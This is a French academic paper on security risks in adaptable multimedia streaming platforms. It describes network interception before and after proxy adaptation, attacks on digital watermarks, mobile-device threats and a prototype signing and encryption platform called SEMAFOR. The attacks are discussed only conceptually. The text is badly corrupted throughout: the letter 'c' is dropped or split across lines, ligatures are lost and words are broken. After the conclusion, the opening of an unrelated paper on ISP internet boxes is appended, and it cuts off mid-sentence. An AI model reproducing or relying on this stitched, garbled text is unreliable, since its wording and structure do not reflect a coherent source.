ontexte de l'utilisateur, est la produ
tion d'une présentation qui


orrespond aux besoins et aux 
ontraintes du 
ontexte du ré
epteur.

En termes de sé
urité, la plate-forme de di�usions doit garantir :

� l'authenti
ité du do
ument multimédia transmis de bout en bout malgré l'adaptation (qui l'a

envoyé ?) ;

� l'intégrité des données du do
ument multimédia (ont elles été modi�ées durant la transa
-

tion ?) ;

� la non-répudiation du do
ument (son auteur ne peut démentir l'envoi du do
ument original,

non adapté).

2.2 Do
ument multimédia adaptable

Nous appelons do
ument multimédia adaptable tout do
ument stru
turé 
omposé d'un ensemble

de médias de di�érents types : textes, images, animations, vidéos synthétiques ou réelles, sons syn-

thétiques ou réels, et dont la présentation 
omporte une 
omposante spatiale, hypertexte éven-

tuellement, mais aussi temporelle, et permettant l'adaptabilité de 
es médias à di�érents types de

terminaux. Un tel do
ument multimédia peut se présenter sous forme d'un :

� �
hier textuel, é
rit dans une forme dé
larative (HTML, SMIL [1℄, et
.) ou non, additionné à

un ensemble de médias séparés ;

� �
hier binaire (AVI, MPEG, et
.).
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Il existe ainsi plusieurs formats de �ux multimédia adaptables (MPEG-4, MPEG-21 [17℄, SMIL,

SVG, Flash), et notamment une grande variété dans les do
uments stru
turés. Notons que depuis


es dernières années, les �ux utilisant des métadonnées XML sont de plus en plus utilisés. C'est sur


es derniers que nous avons axé notre étude 
i-présente.

Le standard XML, dé�ni par le W3C [21℄[22℄, est en e�et apparu 
omme le plus adéquat pour

atteindre les obje
tifs de l'adaptabilité. Le prin
ipe de 
e format est le même que pour tous les

formats de do
uments stru
turés : les éléments de stru
ture sont délimités par une balise de début

d'élément et une balise de �n d'élément. Chaque balise de début d'élément 
ontient le type de

l'élément et éventuellement ses attributs. Le 
ontenu de l'élément est situé entre les deux balises.

3 Risques liés à la plate-forme de 
ommuni
ation

Tout 
omposant du système de 
ommuni
ation dans une plate-forme de di�usion est potentiel-

lement vulnérable à une attaque visant à ré
upérer le �ux multimédia, le modi�er, se l'approprier,

et
., ou perturber le fon
tionnement du système adaptable. Ces attaques sont en réalité générale-

ment lan
ées automatiquement à partir de ma
hines du système adaptable infe
tées (virus, 
hevaux

de Troie, vers, et
.), à l'insu de leur propriétaire, ou en
ore a
tivées par des pirates informatiques.

Si l'on 
onsidère une plate-forme de di�usion utilisant des 
ommuni
ations via Internet. L'a
he-

minement des �ux sans itinéraire pré
onçu fait qu'il est impossible de savoir par où passent les

données, et don
 d'avoir la garantie que le 
hemin emprunté est sans danger. En e�et, les informa-

tions envoyées d'un ordinateur à l'autre peuvent passer par un 
ertain nombre de ma
hines avant

d'atteindre leur destination. Rien n'empê
he un utilisateur de 
es ma
hines intermédiaires d'inter-


epter le tra�
 qui transite par elles. Plusieurs te
hniques d'attaques réseaux sont envisageables

pour ré
upérer les �ux transitant, Sni�ng, Spoo�ng, Deny Of Servi
e, et
.

Dans notre 
ontexte, nous distinguons deux niveaux d'attaques réseau éventuelles sur la plate-

forme :

3.1 S
énario 1 : Attaque pré-adaptation

Dans 
e 
as de �gure, le pirate est positionné entre le serveur et les proxies d'adaptation ; il

a pour obje
tif de ré
upérer les �ux multimédia transitant avant les opérations d'adaptation, a�n

d'exploiter l'aspe
t adaptable du do
ument multimédia qui le rend vulnérable, pour le modi�er, se

l'approprier ou le di�user illégalement.

3.2 S
énario 2 : Attaque post-adaptation

I
i le pirate est positionné sur le réseau entre les proxies d'adaptation et les 
lients, ou attaque

dire
tement le terminal ré
epteur ; il peut aussi ré
upérer le �ux multimédia transitant a�n de le


opier et le di�user illégalement.

Pour garantir l'intégrité et la 
on�dentialité des �ux transmis et palier les failles de sé
urité

sur les liens de 
ommuni
ation, une solution serait la mise en ÷uvre de méthodes de 
hi�rement

des �ux transmis, évitant les risques de piratage de 
es derniers tout en préservant leur aspe
t

authenti�able.

Pour assurer l'authenti�
ation et la non-répudiation des do
uments multimédia, une solution


lassique est de mettre en ÷uvre des mé
anismes de signature numérique. Une véri�
ation réussie
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Fig. 2. Attaque Attaque pré-adaptation

Fig. 3. Attaque post-adaptation
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de la signature numérique permet au ré
epteur de 
on�rmer l'identité de l'expéditeur et empê
he

l'expéditeur de répudier le do
ument.

Ces mesures de signature/
hi�rement � 
lassiques � sont très pertinentes dans le 
adre de

di�usion de �ux non adaptable. Nonobstant, dans notre 
ontexte les 
ontenus doivent autoriser les

opérateurs d'adaptation à e�e
tuer les 
hangements né
essaires sur le do
ument avant sa di�usion.

Toute signature sera don
 invalidée après une opération d'adaptation. Nous présentons dans la

se
tion 7 une solution fondée sur un 
hi�rement � lien à lien � des données transmises et un

mé
anisme de signature autorisant les opérations d'adaptation.

4 Attaques possibles sur les �ux multimédia

Comme nous l'avons 
ité dans le paragraphe 2.2, la forme standard d'un do
ument multimédia

adaptable est l'asso
iation d'une des
ription métadonnée et d'un ensemble de médias (images,

�
hiers audio, �
hiers vidéo, texte, et
.).

Si la signature numérique du �ux multimédia permet l'authenti�
ation de son émetteur, il

existe d'autres te
hniques plus � persistantes � pour la sé
urisation des �ux média le 
onstituant.

Le tatouage numérique ou, watermarking [6℄ se présente 
omme la solution ultime de prote
tion des

données média. Son prin
ipe est d'insérer une marque imper
eptible dans les valeurs de la donnée.

Dans le 
adre de la prote
tion des droits d'auteurs, la marque insérée, appelée � watermarque �


orrespond au 
ode du 
opyright qui permettra alors d'identi�er le propriétaire. Ce type de tatouage

doit répondre à des 
ontraintes fortes en termes de robustesse. Idéalement, quelles que soient les

transformations (li
ites ou illi
ites) que la donnée tatouée subit, la marque doit rester présente tant

que la donnée reste exploitable. De plus, la présen
e de la marque ne doit être déte
tée que par des

personnes autorisées (possédant une 
lef de déte
tion privée).

De nombreux algorithmes ont étés présentés ré
emment et 
ertains produits sont même 
om-

mer
ialisés, 
ependant, au
un d'eux ne satisfait pleinement au 
ahier des 
harges idéal pour les �ux

adaptables. Nous présentons dans 
e qui suit quelques types d'attaques envisageables sur des �ux

médias numériques tatoués visant à 
ontourner 
ette méthode de sé
urisation. Pour plus de détails

vous pouvez 
onsulter [6℄, [7℄ et [9℄.

� Attaque par 
ropping : elle 
onsiste à extraire un mor
eau non tatoué d'un �ux média pour

le réutiliser. Pour être résistant à 
e type d'attaque, le tatouage doit être présent sur tout le

média. La même situation se produit dans le domaine fréquentiel du média où la marque doit

être partout présente a�n d'éviter une destru
tion par �ltrage passe bande.

� Les algorithmes de 
ompression peuvent être des attaques parti
ulièrement dangereuses pour

les pro
essus de tatouage puisque leur obje
tif est exa
tement l'opposé de 
elui du tatouage.

On veut en e�et, par l'utilisation de 
es algorithmes ne garder du média que les 
omposantes

essentielles à leur 
ompréhension.

Des méthodes plus 
omplexes 
her
hent à retirer � 
hirurgi
alement � la marque du signal tatoué.

Cette opération peut être très fa
ile dans un 
as parti
ulier : si l'implémentation de la marque ne dé-

pend pas du média. Dans 
e 
as, un pirate possédant plusieurs médias di�érents 
ontenant la même

marque pourra enlever 
elle-
i. En e�et, un simple moyennage des médias donnera une estimée

de la marque, qu'il pourra alors retran
her aux médias tatoués. Cette situation peut par exemple

avoir lieu si l'on marque une séquen
e de �lm. On imposera don
 que l'étape d'implémentation de

la marque soit dépendante du média, on dira que le tatouage est statistiquement imper
eptible.

� L'attaque de l'impasse inhibe dire
tement le proto
ole de tatouage. Cette attaque est due à

un défaut d'inje
tivité de l'appli
ation d'implémentation de la marque.
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� Attaque par 
ollusion : L'attaquant possède plusieurs 
opies du même 
ontenu ave
 quelques

di�éren
es provenant de l'individualisation des watermarques. Il les 
ombine ensuite pour

obtenir des do
uments qui ne 
ontiennent plus au
un signal de tatouage. 
ette attaque peut

être utilisée pour perturber les marques individualisées de type �ngerprint qui permettent

d'identi�er le 
lient.

� L'attaque par surmarquage 
onsiste à tatouer à nouveau un média déjà tatoué. Pour 
er-

tains s
hémas, en parti
ulier si les lieux de tatouages sont �xés, 
ette attaque peut être très

dangereuse. Certains proto
oles de tatouage se protègent en véri�ant, avant de distribuer

une 
lef, que le média original proposé n'est pas tatoué. Cette prote
tion n'est utile que si

le s
héma de tatouage demeure in
onnu. En e�et, s'il est 
onnu, un pirate peut ajouter une

marque de sa fabri
ation qui invalidera la déte
tion.

� L'attaque par re
opie 
onsiste à re
opier une marque obtenue préalablement (par exemple

par estimation) sur un média non marqué. Le déte
teur validera alors le nouveau média 
omme

étant tatoué.

Il existe aussi d'autres attaques spé
i�ques aux di�érents types de média (images, vidéos, et
.),

nous n'avons pas fait i
i une des
ription exhaustive de toutes les attaques existantes. Néanmoins,

les avan
ées ré
entes dans le domaine du tatouage numérique présentent plusieurs solutions et

algorithmes de tatouage qui permettent d'éviter ou de 
ontrer 
e type d'attaques. Furht présente

dans [9℄ un panorama 
omplet sur 
e sujet.

Une des 
on
lusions de 
ette étude globale sur les attaques sur le tatouage est d'a

order une

grande importan
e à la sé
urisation des médias 
onstituant le do
ument multimédia, en plus de

la sé
urisation de la des
ription métadonnées de 
e dernier. Les attaques sur les médias tiennent

une pla
e très importante dans le 
ahier des 
harges d'un pro
essus de sé
urisation puisqu'elles

dé�nissent la robustesse d'un système.

5 Vulnérabilité des terminaux mobiles

De plus en plus d'utilisateurs 
ommen
ent à télé
harger diverses appli
ations et 
ontenus mul-

timédia sur leurs PDA et téléphones portables, dont beau
oup fon
tionnent ave
 des systèmes

d'exploitation ouverts de type Symbian [18℄ ou Mi
rosoft. Étant équipés d'un système d'exploita-

tion, il est inévitable que 
es terminaux deviennent plus vulnérables aux attaques. Le manque de

mé
anismes de sé
urité protégeant la valeur du 
ontenu numérique sur 
es terminaux portables

étant un frein majeur pour l'explosion du multimédia mobile.

Ni l'industrie des portables ni les propriétaires de 
ontenu n'ont trouvé une solution qui leur


onvienne mutuellement pour protéger 
es terminaux portables 
ontre les � maladies éle
tronique-

ment transmissibles �. Parmi les questions qui restent en suspens on peut 
iter : où mémoriser le


ontenu 
hi�ré et 
omment le protéger ? Quel 
omposant doit être 
hargé de mémoriser un 
ode

privé qui déverrouille et dé
hi�re le 
ontenu ? Comment transmettre en toute sé
urité le 
ontenu

numérique dé
hi�ré à un le
teur multimédia intégré au terminal mobile pour le dé
odage MP3 ou

H.264 ? Comment faire appliquer les règles d'utilisation du multimédia numérique sur un terminal

mobile d'une manière e�
a
e et 
onviviale ?

Les attaques sur 
e type de terminaux se font souvent via une interfa
e réseau sans �l : liaisons

Wi-Fi ouvertes, failles dans Bluetooth (BlueSnar�ng, Ba
kdoor, Blueja
king..) [19℄, les PDA et

Po
ket PC posent aujourd'hui des problèmes de sé
urité spé
i�ques, les programmes malfaisants

(virus, 
hevaux de Troie), se propageant via 
es interfa
es.
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La mena
e s'est matérialisée pour la première fois l'année dernière lorsqu'un programme mal-

faisant pour téléphones mobiles, un ver, appelé Cabir, a été lâ
hé dans la nature par le groupe de

ha
kers � 29A �. Leur but a�
hé n'était que de prouver la faisabilité du 
on
ept et d'alerter le

monde. Depuis, Cabir s'est métamorphosé en un peu plus de 15 variétés et sa tra
e a été retrouvée

dans 14 pays.

La vulnérabilité des terminaux mobiles aux attaques réseaux ou virales s'explique en partie

par la prédominan
e d'une seule plate-forme informatique. La première vague d'attaques visant

les terminaux mobiles a 
hoisi pour 
ible le système d'exploitation Symbian. Heureusement, les

mobiles ne sont pas aussi homogènes que les PC : une faille a�e
tant des appareils Symbian laisse

des millions d'autres appareils indemnes. Mais il n'y a guère de raison de se satisfaire de la situation.

Dans les ar
hite
tures a
tuelles, 
on
ernant les attaques visant à ré
upérer les �ux multimédia,

une fois qu'un �
hier numérique est transmis puis dé
hi�ré sur le pro
esseur, il est transféré � en


lair � vers un le
teur multimédia sur le terminal [23℄, exposant ainsi la liaison lors de laquelle

les informations internes du DRM peuvent être 
opiées. Il existe des solutions te
hniques à 
es

problèmes. Le plus dur est de faire la part des 
hoses en 
e qui 
on
erne le 
oût, la sé
urité, la


ommodité et les béné�
es pour les opérateurs, les propriétaires de 
ontenu et les utilisateurs.

Quelques 
onstru
teurs veulent mettre en ÷uvre la gestion des droits numé-riques (DRM) [12℄

sur une 
arte à pu
e. D'autres, poussent pour un DRM intégré à un moteur de sé
urité 
âblé, sur

une bande de base ou sur un pro
esseur d'appli
ations. D'autres fournisseurs de pu
es, proposent

des solutions DRM similaires au niveau des pro
esseurs, 
ombinant matériel et logi
iel. Ils proposent

également des solutions DRM alternatives, et même 
on
urrentes 
onçues spé
i�quement pour les


artes SIM (téléphones) ou pour les 
artes �ash amovibles (PDA, et
.). L'utilisation de 
es 
artes

�ash représente la troisième méthode, qui permet d'enregistrer et d'exé
uter les agents DRM sur

des 
artes multimédia sé
urisées, telle que la 
arte � Se
ureMMC � [23℄.

6 Proposition d'un s
héma de sé
urisation

Compte tenu des vulnérabilités susmentionnées et des nombreux aspe
ts liés à la sé
urité, à

l'authenti�
ation et aux autorisations, à la 
on�dentialité et à l'intégrité des données, et 
ompte

tenu du fait que les 
ommuni
ations 
lassiques sur Internet ne mentionnent pas la sé
urité, il est aisé

de dire que les 
ommuni
ations dans une plate-forme de di�usion � ne sont pas sûres !�. Pourtant,

examinons de plus près les servi
es de 
ommuni
ation sur Internet. A
tuellement, la 
réation de

servi
es de 
ommuni
ation sé
urisés n'est pas 
hose impossible.

Lorsque l'on aborde la question de la sé
urité des 
ommuni
ations, il faut examiner les points

suivants :

� qu'essayons-nous de réaliser ? Restreindre l'a

ès à un servi
e à des utilisateurs dûment habi-

lités, éviter que les do
uments multimédia transmis ne soient lus par des indésirables, et
. ;

� 
omment allons-nous y parvenir ? Par le réseau, la 
ou
he transport, le système d'exploitation,

un servi
e ou une appli
ation ;

� quel niveau d'interopérabilité re
her
hons-nous dans le 
adre de notre solution ? Un niveau

lo
al ou global.

Comment don
 sé
uriser les 
ommuni
ations sur la plate-forme proposée ? En répondant à 
es

questions et en appliquant les mêmes te
hniques que 
elles que nous employons pour sé
uriser

n'importe quelle autre appli
ation, notamment :

� par la sé
urisation des 
onnexions ;

� par l'authenti�
ation et l'autorisation des intera
tions.
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Comme nous allons le voir, 
es te
hniques o�rent des solutions élaborées qu'il est possible de 
om-

biner pour optimiser les résultats. Par exemple, il est possible d'utiliser un pare-feu ave
 un servi
e

Web XML [4℄ a�n de limiter l'a

ès à 
ertaines fon
tionnalités (méthodes) en fon
tion de la nature

du 
lient et de stratégies préétablies.

Pour plus de 
larté, 
ommençons par examiner 
ha
une des solutions a
tuellement disponibles

pour sé
uriser l'infrastru
ture.

6.1 Sé
urisation de l'infrastru
ture

Un servi
e de 
ommuni
ation sûr repose sur une infrastru
ture sé
urisée. Il existe diverses te
h-

nologies qui, intégrées dans un plan de sé
urité global, permettent d'assurer la sé
urité de l'infra-

stru
ture d'une plate-forme de 
ommuni
ation. Le pro
essus de plani�
ation relatif à sa mise en

÷uvre suppose :

� une identi�
ation approfondie des risques potentiels liés à l'environnement (virus, pirates,

et
.) ;

� une analyse des 
onséquen
es d'une violation de la sé
urité et des mesures préventives à

envisager ;

� une stratégie d'implémentation soigneusement plani�ée pour intégrer les mesures de sé
urité

à tous les niveaux du réseau (
lients, proxies, serveurs), en fon
tion de l'identi�
ation et de

l'analyse préalablement réalisées.

6.2 Sé
urisation des 
onnexions

Une des solutions les plus fa
iles pour sé
uriser 
es servi
es de di�usion est d'assurer la �abilité

de la 
onnexion entre le 
lient et le serveur. Pour atteindre 
et obje
tif, plusieurs te
hniques sont

possibles, selon la portée du réseau et le pro�l d'a
tivité des intera
tions. Citons, parmi les plus

répandues et les plus a

essibles, les te
hniques suivantes : des règles qui reposent sur l'existen
e

d'un pare-feu, le proto
ole SSL (Se
ure So
kets Layer), Kerberos et aussi les réseaux privés virtuels

(VPN, Virtual Private Network), .

Si nous savons exa
tement quels ordinateurs doivent a

éder à la plate-forme de 
ommuni
a-

tion multimédia, nous pouvons appliquer des règles de pare-feu a�n de limiter l'a

ès sur la base

d'adresses IP 
onnues. Cette te
hnique s'avère utile lorsque nous souhaitons restreindre l'a

ès aux

ordinateurs au sein d'un réseau privé, LAN ou WAN par exemple, et que le 
ontenu des �ux n'est

pas un se
ret (par 
onséquent, pas de 
hi�rement). Les pare-feu tels que ISA Server (Internet Se
u-

rity and A

eleration) [5℄ o�rent éventuellement un ensemble de règles reposant sur des stratégies

et permettent de limiter, à des degrés divers, l'a

ès aux ordinateurs par les 
lients, en fon
tion de

leur origine ou de leur identité.

Le proto
ole SSL permet d'établir des 
onnexions sé
urisées sur des réseaux non sé
urisés (tels

qu'Internet). Bien qu'il 
onstitue une solution tout à fait e�
a
e en termes de sé
urisation des


ommuni
ations, il pèse sur les performan
es d'une façon non négligeable. Les servi
es Web XML

peuvent gérer le proto
ole SSL intégré aussi bien au niveau du 
lient que du serveur.

Kerberos est un proto
ole réseau qui permet aux utilisateurs de s'authenti�er par l'intermé-

diaire d'un serveur sé
urisé. Des servi
es 
omme l'ouverture de session et la 
opie à distan
e, la


opie sé
urisée de �
hiers entre systèmes et autres fon
tionnalités à haut risque deviennent ainsi


onsidérablement plus sûrs et 
ontr�lables. Ce proto
ole fon
tionne sur un 
ontr�le de l'identité des


lients, qui peuvent obtenir par la suite des ti
kets pour s'authenti�er auprès des di�érents servi
es
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présents sur le réseau. Toutes les transa
tions passant par Kerberos sont 
hi�rées, 
e qui résout un

ensemble de problèmes de sé
urité

Un réseau privé virtuel (VPN) est une extension d'un réseau privé qui assure des 
onnexions sur

des réseaux partagés ou publi
s 
omme Internet. Via un VPN, vous pouvez envoyer des données

d'un ordinateur à un autre sur une 
onnexion sé
urisée. Semblable par bien des 
�tés au proto
ole

SSL, le VPN est une 
onnexion point-à-point à long terme. Aussi exige-t-il une 
onnexion à long

terme pour que le gain en termes d'e�
a
ité soit sensible.

6.3 Sé
urisation des do
uments multimédia

La sé
urisation de 
es do
uments passe par la sé
urisation de toutes les entités 
onstituant le

do
ument.

Pour les métadonnées XML, le W3C ave
 l'IETF ont mis en pla
e deux groupes de travail (XML

Signature WG [22℄ et XML En
ryption WG [21℄) qui ont pour but de développer une syntaxe XML

permettant :

� de représenter une signature de tout ou partie d'un do
ument référençable par une http:

//www.w3.org/Addressing/URI ;

� de 
hi�rer/dé
hi�rer des do
uments éle
troniques (y 
ompris tout ou partie d'un do
ument

XML) ;

� d'utiliser une syntaxe XML pour représenter le do
ument signé et les informations permettant

de le dé
oder.

On pourra renfor
er 
ette sé
urisation par la sé
urisation des médias intervenant dans un �ux

multimédia en utilisant des te
hniques de DRM, tatouage, stéganographie, et �ngerprinting [3℄.

6.4 Authenti�
ation et autorisations

Authenti�
ation : l'authenti�
ation est le pro
essus qui 
onsiste à véri�er l'identité d'une per-

sonne (ou, plus généralement, de � quelque 
hose �). Cette � personne � ou 
e � quelque 
hose � est

l'entité. L'authenti�
ation né
essite des preuves, autrement dit des informations d'identi�
ation.

Par exemple, une appli
ation 
liente peut fournir un mot de passe 
omme information d'identi-

�
ation. Si elle présente des informations 
orre
tes, le système suppose qu'elle est bien 
e qu'elle

prétend être.

Autorisations : une fois que l'identité de l'entité est authenti�ée, des autorisations peuvent être

a

ordées. Pour qu'il y ait a

ès à un système, les informations 
on
ernant l'entité sont 
omparées

ave
 des informations de 
ontr�le des a

ès, par exemple ave
 une liste ACL (A

ess Control List).

Les a

ès peuvent varier selon les 
lients. Ainsi, 
ertains 
lients ont un a

ès total au servi
e, alors

que d'autres n'ont a

ès qu'à 
ertaines tâ
hes. On peut a

order à 
ertains 
lients un a

ès 
omplet

à l'ensemble des données, à d'autres un a

ès à un groupe limité de données, ou en
ore un a

ès en

le
ture seule.

Une solution parmi les plus simples pour authenti�er les a

ès à un servi
e de di�usion de

do
uments est d'utiliser les fon
tionnalités d'authenti�
ation du proto
ole employé pour l'é
hange

des messages. Pour la plupart des servi
es de 
ommuni
ations, il s'agit d'exploiter les fon
tions

d'authenti�
ation du proto
ole HTTP. Des solutions sous forme de servi
es Web XML telles qu'In-

ternet Information Server (IIS) et ISA Server proposent plusieurs mé
anismes d'authenti�
ation

sur HTTP.
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7 Plate-forme de di�usion proposée

L'obje
tif de 
et arti
le étant de présenter les risques liés au pro
essus de di�usion de �ux

multimédia adaptables, nous allons présenter sommairement notre plate-forme de di�usion. Plus de

détails peuvent être trouvés dans [13℄.

Ainsi, pour valider les propositions présentées dans les paragraphes pré
édents nous avons réalisé

SEMAFOR (SE
ure Multimedia Adaptation platFORm) un prototype de plate-forme de di�usion

multimédia (Figure 6), utilisant des Servi
es Web XML. Nous avons aussi opté pour le format des

�ux multimédia SMIL (des
riptions métadonnées XML), qui semble être le plus approprié pour la

validation de nos travaux.

SEMAFOR implique deux niveaux de sé
urisation :

� sé
urisation des do
uments, qui 
onsiste à fournir un mé
anisme de signature de do
uments

autorisant les opérations d'adaptation, tout en préservant l'intégrité des �ux é
hangés ;

� sé
urisation des transa
tions, qui 
onsiste à renfor
er les transa
tions et les messages é
hangés

entre les di�érents intervenants de la plate-forme.

7.1 Signature des do
uments multimédia

Nous utilisons dans SEMAFOR un s
héma de signature de do
uments multimédia XML reposant

sur la te
hnique de Tiger-Tree Hashing (TTH) [2℄, en représentant le �ux à signer sous forme de

feuilles d'un arbre binaire de Tiger. Chaque 
omposant est représenté par une feuille, en rajoutant

de nouvelles feuilles qu'on appelle FreeLeaves, 
haque FreeLeaf va se positionner à 
oté d'une feuille


orrespondant à un média adaptable (Figure 4). Ces FreeLeaves permettent l'insertion dynamique

d'éléments dans l'arbre de Tiger, et sont instan
iées en utilisant des fon
tions de ha
hage à sens

unique.

Fig. 4. Représentation du do
ument en Tiger-arbre

Pour la signature de ses feuilles, nous avons adopté la re
ommandation du W3C sur la signature

XML, XML-DSIG, 
ette re
ommandation dé�nit un pro
essus pour 
hi�rer des données et repré-
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senter le résultat en XML. Les données peuvent être arbitraires, un do
ument XML, ou une portion

de do
ument XML. Le résultat du 
hi�rement est un élément XML qui 
ontient une référen
e sur

les données 
hi�rées. Cette te
hnique permet don
, lors d'une di�usion de �ux multimédia :

� de garantir l'authenti
ité du do
ument multimédia de bout en bout malgré l'adaptation ;

� d'assurer l'intégrité des données du do
ument multimédia ;

� d'obtenir la non-répudiation du do
ument.

Ce s
héma permet à un ou plusieurs proxies d'adaptation de modi�er dynamiquement un do-


ument multimédia en supprimant ou insérant des éléments dans 
e dernier (selon les autorisations

du serveur), tout en préservant la 
apa
ité du 
lient à véri�er la signature originale.

7.2 Sé
urisation des transa
tions

En s'inspirant de bibliothèques de sé
urisation de transa
tions d'e-Commer
e reposant sur XML,

nous avons dé�ni pour SEMAFOR le proto
ole XSST (Xml Se
ure Semafor Transa
tion). XSST

est un format de message sé
urisé pour les transa
tions e�e
tuées sur la plate-forme SEMAFOR.

Il est dé
omposé en plusieurs dé�nitions : d'une part la stru
ture des messages et d'autre part les

di�érentes dé�nitions et intera
tions.

La base d'XSST est le format de message XML utilisé pour l'en
apsulation sé
urisée des tran-

sa
tions. Le 
hoix d'XML s'est imposé pour deux raisons majeures : d'une part, l'évolution de

XML qui permet d'ajouter des éléments dans les versions supérieures sans remettre en question

le parsing des an
iens formats et d'une autre part, la portabilité entre les di�érentes ar
hite
tures

informatiques. Le format se présente sous 
ette forme :

Fig. 5. Format d'un message XSST

Il y a trois grandes parties dans la stru
ture-même du message XSST :
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� en
ryption ;

� data ;

� signature.

L'élément en
ryption peut apparaître de 0 à n fois dans un même message XSST. Il dé�nit le type

de 
hi�rement de l'élément data via l'attribut type ainsi que la 
lé symétrique via un id (keyId)

ou la 
lé de session (symmetri
Key). La dé�nition du type se fait via une table de 
orrespondan
e


on
ernant le 
hoix de l'algorithme 
ryptographique, ainsi que les méthodes de �padding� mais

aussi le mode de fon
tionnement en tant que système 
ryptographique hybride ou non.

L'élément data ne peut apparaître qu'une fois dans un même message XSST. Il 
ontient les

données, (souvent) 
hi�rées. L'attribut en
oding permet de dé�nir le type d'en
odage de 
ette

partie (par exemple : Base64). L'attribut type dé�nit le type du message. Les types ne sont pas

dé
rits dans le standard de base mais dans des bases 
omplémentaires. Ce type peut être un autre

message XSST mais aussi des données spé
i�ques. Il existe souvent aussi deux sous-éléments à

data : tid et timestamp. Ils sont lo
alisés dans 
et élément 
ar le 
hi�rement est e�e
tif à l'intérieur

de l'élément data. D'autres sous-éléments peuvent apparaître suivant le type du message lui-même.

L'élément signature peut apparaître de 0 à n fois dans un même message XSST. Il 
ontient la

signature de la partie data. Le type et la méthode de signature sont 
ontenus dans l'attribut type

qui est dé
rit dans une table 
orrespondan
e équivalente à la partie en
ryption.

L'ensemble du format de message est dé
rit dans le s
héma XML XSST prin
ipal. Ce format de

message exprime le stri
t minimum de la transa
tion, 
e sont les utilisations propres des types qui

étendent la syntaxe et les é
hanges.

7.3 Implémentation

Fon
tionnellement, le prototype s'organise autour des trois 
omposants : serveur, proxies inter-

médiaires et 
lients.

Serveur Le serveur est un peer équipé d'un système d'édition de �ux multimédia (SMIL, SVG,

et
.), d'un analyseur de métadonnées qui génère la représentation du �ux en arbre de Tiger, et des

modules de signature XML-DSIG [22℄ et XML-ENC [21℄ pour la signature et le 
hi�rement des

médias et du do
ument XML. Ces modules permettent aussi au serveur de signer 
es transa
tions

selon le format XSST ave
 des 
erti�
ats X509. Il dispose ainsi d'un module de gestion de 
lés

(partagée, privée, se
rète) selon la politique de sé
urité �xée au niveau du proxy.

Proxy On dispose au niveau du proxy de plusieurs modules :

� un mé
anisme d'adaptation de do
uments multimédia (transformation, trans
odage, et
.) ;

� une base de données pour la gestion des pro�ls des di�érents 
lients reliés à la plate-forme ;

� un module de 
ommuni
ation qui gère les transa
tions sous le format XSST ;

� des modules de signature et de 
hi�rement de do
uments XML pour les do
uments adaptés

et les transa
tions XSST ; ils permettent la validation de signatures et de 
erti�
ats, et ont

aussi la 
harge de véri�er 
omplètement les signatures, de les horodater, et éventuellement les

rejeter ;

� et d'un module pour la gestion de la politique de sé
urité entre les 
lients, les serveurs, et le

proxy (gestion des 
lés, véri�
ation, authenti�
ation, et
.).
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Cette appro
he permet d'introduire très simplement des fon
tions de 
on�an
e, l'intervention

dans les servi
es de la plate-forme se limitant à rajouter des modules dans les politiques d'adaptation

et de sé
urité au niveau du proxy.

Client Le 
lient selon ses 
apa
ités et son environnement, dispose d'un outil de visualisation de

�
hier adapté. Il dispose des modules né
essaires pour le dé
hi�rement et la véri�
ation de signature

des do
uments qu'il reçoit, un module qui gère les transa
tions XSST, ainsi que les outils né
essaires

pour la gestion des 
lés utilisées lors de 
es opérations. La réalisation de 
ette plate-forme s'appuie

Fig. 6. S
héma fon
tionnel de la plate-forme d'adaptation

sur les travaux réalisés dans l'équipe dans le domaine de l'adaptation de �ux multimédia. L'obje
tif
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de nos travaux en 
ours est d'améliorer et d'optimiser le s
héma de sé
urisation lors de la di�usion

des �ux multimédia adaptables dé
rits en XML.

8 Con
lusion

Nous avons présenté dans 
et arti
le une étude globale des problèmes de sé
urité dans les plates-

formes de di�usion de �ux multimédia, plus parti
ulièrement sur des ar
hite
tures P2P ou 
lient-

serveur, utilisant des proxies d'adaptation quand le �ux é
hangé n'est pas 
hi�ré lors d'une partie

ou de tout le long du pro
essus du transfert.

Nous avons pris le 
as des �ux multimédia adaptables, et nous sommes intéressés aux risques

liés à la di�usion de 
es �ux avant et après adaptation. Nous avons distingué les di�érents niveaux

de risque et les vulnérabilités exploitées à 
haque fois. Nous nous sommes ensuite pen
hés sur les

attaques visant les médias eux-mêmes, qui ont 
omme obje
tif de 
ontourner les tatouages présents

sur 
es média. Un dernier niveau de vulnérabilité a été étudié et qui 
on
erne les risques liés aux

terminaux 
lients plus parti
ulièrement les terminaux léger de type téléphone ou PDA.

Les di�érentes attaques présentées montrent la né
essité de penser la 
on
eption des algorithmes

de sé
urisation en termes d'appli
ations (adaptabilité, transmission, et
.) : une fois 
es appli
ations

dé�nies, il devient possible d'anti
iper les attaques qui seront utilisées et de les 
ontrer.

À partir des 
es di�érentes études, nous avons présenté, pour 
on
lure, un système de di�usion

de do
uments multimédia, permettant la signature et le 
hi�rement de 
es derniers suivant les

re
ommandations W3C, sur une ar
hite
ture d'adaptation utilisant des proxies.

Les extensions futures et les appro
hes de re
her
hes 
omplémentaires seront importantes. Nous

espérons pouvoir 
ompter sur plusieurs apports pour faire évoluer les appro
hes proposées et les

di�érents développements.
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1 Introdu
tion

Aujourd'hui l'a

ès Internet haut débit est devenu 
ourant dans tous les foyers français. La

di�éren
e entre les opérateurs ne se joue plus sur les tarifs, mais sur la qualité et la ri
hesse des

servi
es o�erts (support 
lient, téléphonie illimitée, et
.).

Quasiment tous les opérateurs proposent don
 aujourd'hui une o�re � Triple Play � (Internet

/ TV / téléphonie) en standard. Pour fon
tionner, 
ette o�re né
essite l'a
quisition d'une � boite

noire � fournie par l'opérateur. Si 
ette solution satisfait les end-users par sa fa
ilité d'installation

et de 
on�guration (quoique . . . ), elle pose légitimement des questions à l'utilisateur averti qui se

voit 
ontraint d'abandonner sa passerelle *BSD pour un équipement in
onnu.

La sé
urité de 
es � boites noires � est également une préo

upation bien légitime pour le

grand publi
, aujourd'hui massivement visé par des attaques de toute sorte (installation de bots,

phishing/pharming, et
.). L'utilisateur averti ou la PME 
onne
tée à l'ADSL se pose des questions

sur la possibilité d'utiliser WPA / WPA2 ave
 
es � boites �, la 
ompatibilité du WiFi ave
 des

systèmes d'exploitation non-Mi
rosoft, ou la possibilité d'obtenir un a

ès full IP à Internet.

Cette intervention vise à donner quelques 
lés permettant à tout un 
ha
un de mesurer les risques

liés à l'installation d'une � boite � dans son réseau, et de mieux 
omprendre le fon
tionnement

interne de 
es équipements.

Le modèle é
onomique retenu pose également d'autres questions, 
omme :

� La prise en 
ompte de la 
ontrainte d'inter
eption légale sur les 
ommuni
ations télépho-

niques ;

� La responsabilité légale en 
as de problème (ex. modem 
ompromis ayant servi à lan
er une

